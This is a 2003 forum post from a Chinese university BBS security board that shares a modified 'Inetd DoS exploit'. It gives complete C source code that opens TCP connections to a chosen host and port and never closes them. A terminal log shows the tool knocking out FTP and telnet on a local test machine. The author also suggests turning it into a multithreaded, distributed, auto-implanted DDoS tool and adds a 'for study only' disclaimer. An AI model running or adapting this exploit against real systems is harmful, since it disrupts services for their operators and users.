荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: jjksam (eee), 信区: Security
标  题: Inetd exploit(modified by jjk)
发信站: 荔园晨风BBS站 (Sat Nov  8 09:12:04 2003), 站内信件


前段时间的DDoS攻击程序的基本构成跟这个应该相同。只是在这个原理加上
多线程,运行后变成后台程序,还有修改注册表的功能。另外还可以利用
网络神偷进行植入。
此程序仅供学习,请大家不要用来攻击别人,若不听劝告,
对利用此程序进行攻击所造成的后果本人一概不负责。

原理如下:

不断的连接服务器的某个端口,但是不关闭连接,使服务器资源耗尽,造成服务器
负荷过高,服务瘫痪。但有个缺点就是一旦攻击成功,自己的资源也会耗尽。
可以利用几台机器一起,达到分布式拒绝服务攻击,这样服务器很快可以瘫痪,但
攻击机的资源不会有太大的消耗。

稍微修改一下就可以变成很强的攻击程序,加上多线程支持,端口自动扫描等。

源程序如下,可以很容易修改成Winsock的,程序只有几十条语句。

/*
--------------------------------------------------
Inetd DoS exploit bY Serega[Linux]
IHG Project www.ihgroup.ru
mailto:linux@ihgroup.ru
--------------------------------------------------
modified by jjksam[Linux, win2k(cygwin)]
mailto: jjksam@163.com
--------------------------------------------------

Usage: ./inetddos <host> <port>

example:

[jjk@jjk /home/jjk]$ nmap -sT 192.168.0.234

Starting nmap 3.30 ( www.insecure.org/nmap ) at 2003-10-27 16:05 China
Standard Time

Interesting ports on jjksam (192.168.0.234):
(The 1635 ports scanned but not shown below are in state: filtered)
Port       State       Service
21/tcp     open        ftp
23/telnet  open        telnet

Nmap run completed -- 1 IP address (1 host up) scanned in 41.128 seconds

[jjk@jjk /home/jjk]$ ftp 192.168.0.234
Connected to 192.168.0.234.
220 ProFTPD [ftp.kernel.org]
Name (192.168.0.234:jjksam):


[jjk@jjk /home/jjk]$ cc inetddos.c -o inetddos
[jjk@jjk /home/jjk]$ ./inetddos 192.168.0.234 21
^C

[jjk@jjk /home/jjk]$ ftp 192.168.0.234 21
Connected to 192.168.0.234.
Connection closed by remote host.

[jjk@jjk /home/jjk]$ telnet 192.168.0.234 23
Trying 192.168.0.234...
Connected to 192.168.0.234.
Escape character is '^]'.
login:

[jjk@jjk /home/jjk]$ ./inetddos 192.168.0.234 23
^C

[jjk@jjk /home/jjk]$ telnet 192.168.0.234 23
Trying 192.168.0.234...
telnet: Unable to connect to remote host: Connection refused

*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <signal.h>

void time_out(int sig);
int timeout=5;
char logo[]="--------------------------------------------------\n
Inetd DoS exploit bY Serega[Linux]\n
IHG Project www.ihgroup.ru\n
mailto:linux@ihgroup.ru\n
--------------------------------------------------\n
modified by jjksam[Linux, win2k(cygwin dll)]\n
mailto: jjksam@163.com\n
--------------------------------------------------\n";

int sockfd;

int DoS (char *host, int port)
{
  unsigned long int ip_addr;
  struct sockaddr_in serv;

  struct hostent *h;
  unsigned long int rv;
  serv.sin_family = AF_INET;
  if ((h=gethostbyname(host)) == NULL)
  {
    close(sockfd);
    perror(host);
    exit(1);
  }

  if(h!=NULL)
    memcpy(&rv,h->h_addr,h->h_length);
  else
    rv=inet_addr(host);
  serv.sin_addr.s_addr = rv;
  serv.sin_port = htons(port);

  if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
  {
     perror ("socket error");
//      exit(1);
  }

//alarm(timeout);
//signal(SIGALRM, (void *)&time_out);

  if (connect (sockfd, (struct sockaddr*)&serv, sizeof(serv)) != 0)
  {
    close(sockfd);
    perror(host);
//  exit(1); //don't exit here.
  }
//close(sockfd); // don't close the socket :-)
  return(1);
}

/*
void time_out (int sig)
{
        close(sockfd);
        printf("timeout\n");
        exit(-1);
}
*/

void usage(char *h)
{
  printf("%s", logo);
  printf("\nUsage: %s <host> <port>\n\n", h);
}

int main(int argc, char **argv)
{
  int i;
  if (argc<3)
  {
    usage(argv[0]);
    exit(1);
  }

//  while(1)
  for(i=0;i<1000;i++)
    DoS(argv[1], atoi(argv[2]));

//  printf("DoS failed\n");
  return 0;
}


--
     。.
      ."。
      █D

 Would you like to have a cup of cola with me?

※ 修改:·jjksam 於 Nov  8 09:16:26 修改本文·[FROM: 192.168.0.234]
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.234]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店